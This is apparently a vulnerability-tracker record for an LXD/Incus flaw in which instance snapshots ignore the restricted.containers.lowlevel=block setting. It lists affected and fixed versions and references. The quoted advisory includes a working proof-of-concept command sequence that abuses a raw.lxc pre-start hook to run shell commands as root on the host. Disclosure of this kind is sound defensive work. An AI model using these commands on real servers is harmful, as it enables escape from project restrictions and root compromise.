Restricted project bypass in LXD allows arbitrary command execution
Key facts
- Attack vector
- —
- Privileges required
- —
- User interaction
- —
- Attack complexity
- —
- Impact type
- Security bypass
- Confidentiality · integrity · availability
- —
- Fix status
- Fixed
No CVSS vector from any source. Fix status from GitHub. Impact type from CWE-862.
Summary
The Go package github.com/canonical/lxd before 0.0.0-20260630083100-c5184be310b1 ignores the restricted.containers.lowlevel=block setting for instance snapshots. This missing authorization flaw (CWE-862) lets a local user craft a malicious instance snapshot, move it to a restricted project, and restore it to run arbitrary commands on the host with root privileges.
Written with Claude Haiku 5.5 from the sources below · 2026-11-06
Description from the GitHub advisory
Reported from https://github.com/lxc/incus/security/advisories/GHSA-48q5-w887-33wv ### Summary Instance snapshots ignore the `restricted.containers.lowlevel=block` setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as `raw.lxc` and `raw.qemu`. ### Details Instance snapshots ignore the `restricted.containers.lowlevel=block` setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as `raw.lxc` and `raw.qemu`. As snapshots can be moved from one server to another, a malicious instance+snapshot can be crafted locally, moved to a restricted project and the snapshot restored for arbitrary command execution. In practice, this allows a malicious actor to execute arbitrary commands on the host with root privileges. ### PoC ``` # remote, restricted incus project set rem:project restricted.true incus project set rem:project restricted.containers.lowlevel=block # locally, unrestricted project incus init images:debian/trixie rce-raw-lxc incus config set rce-raw-lxc raw.lxc='lxc.hook.pre-start = /bin/sh -c "/bin/id >/lxc-hook-prestart"' incus snapshot create rce-raw-lxc snap0 #> allow transfer to restricted project incus config unset rce-raw-lxc raw.lxc # locally, transfer and trigger incus move rce-raw-lxc rem: --mode push incus snapshot restore rem:rce-raw-lxc snap0 incus start rem:rce-raw-lxc ``` ### Impact - Bypass of project restrictions. - Arbitrary command execution on the Incus server.
Why it matters now
SSVC decision points
Not available: CISA has not published SSVC decision points for this record.
Affected products
| Vendor | Product | Affected versions | Fixed in | Status | Source |
|---|---|---|---|---|---|
| — | github.com/canonical/lxd (Go) | before 0.0.0-20260630083100-c5184be310b1 | 0.0.0-20260630083100-c5184be310b1 | Patch available | GHSA-47w9-6r3f-938g |
- github.com/canonical/lxd (Go) Vendor— Affected before 0.0.0-20260630083100-c5184be310b1 Fixed in 0.0.0-20260630083100-c5184be310b1 Patch available GHSA-47w9-6r3f-938g
Remediation
The fix is in github.com/canonical/lxd version 0.0.0-20260630083100-c5184be310b1.
Written with Claude Haiku 5.5 from the sources below · 2026-11-06
- Fix · GHSA-47w9-6r3f-938g github.com/canonical/lxd (Go) Fixed in 0.0.0-20260630083100-c5184be310b1 Advisory →
Timeline
- 2026-11-06 Threatist record created from GHSA-47w9-6r3f-938g
References
Other 9
- https://github.com/canonical/lxd/security/advisories/GHSA-47w9-6r3f-938g
- https://github.com/lxc/incus/security/advisories/GHSA-48q5-w887-33wv
- https://github.com/canonical/lxd/commit/5aac658c888d52e3a2480a8f879799ac643fdc49
- https://github.com/canonical/lxd/commit/6b93b2a0c4f6f3eaf91e1e813f6875d5eb66b59b
- https://github.com/canonical/lxd/commit/a52e5d06a52fb7ad8862cb2a8659a8c47e446efe
- https://github.com/canonical/lxd/commit/cfd9f66f6af89e1fa3b3acb12bfe72f51b7f1e19
- https://github.com/canonical/lxd
- https://github.com/canonical/lxd/releases/tag/lxd-5.0.7
- https://github.com/canonical/lxd/releases/tag/lxd-5.21.5
Sources
This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences